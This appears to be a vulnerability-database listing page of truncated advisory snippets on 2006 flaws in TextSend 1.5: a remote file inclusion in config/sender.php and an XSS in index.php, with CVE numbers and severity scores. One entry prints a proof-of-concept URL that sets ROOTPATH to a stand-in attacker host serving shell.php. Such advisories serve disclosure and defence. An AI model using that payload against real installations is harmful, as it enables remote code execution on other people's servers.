EUVD-2006-6678

Malware in sbrugna...

EUVD-2006-6669

Malware in sbrugna...

TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability

No description provided by source. +------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendo...

TextSend &lt;= 1.5 (config/sender.php) Remote File Include Vulnerability

No description provided by source. +------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendo...

CVE-2006-6695

CVE-2006-6695 : XSS in Carsen Klock TextSend 1.5, affected via index.php, vulnerable parameters (1) error and (2) success. This allows remote attackers to inject arbitrary script/HTML. According to NVD, base CVSS v2 score is 6.8 (Medium) with network attack vector, no authentication, and partial ...

CVE-2006-6686

CVE-2006-6686: PHP remote file inclusion in Carsen Klock TextSend 1.5 (sender.php) allows arbitrary PHP code execution via ROOT_PATH URL input. Affected component: TextSend 1.5; root cause is improper handling of ROOT_PATH enabling inclusion of a remote file. Impact per source: partial confidenti...

TextSend &lt;= 1.5 &#40;config/sender.php&#41; Remote File Include Vulnerability

+------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendor ............:...

TextSend 1.5 - configsender.php Remote File Inclusion

TextSend 1.5 - configsender.php Remote File Inclusion +------------------------------------------------------------------------------------------- + TextSend +------------------------------------------------------------------------------------------- + Details: + TextSend config/sender.php does n...

TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ===================================================================== TextSend include "$ROOTPATH/config.php"; + + Proof Of Concept: + http://target/path/config/sender.php?ROOTPATH=http://evilsite.com/shell.php?...

TextSend 1.5 - &#039;/config/sender.php&#039; Remote File Inclusion

+------------------------------------------------------------------------------------------- + TextSend +------------------------------------------------------------------------------------------- + Details: + TextSend config/sender.php does not initialize the $ROOTPATH variable before using it t...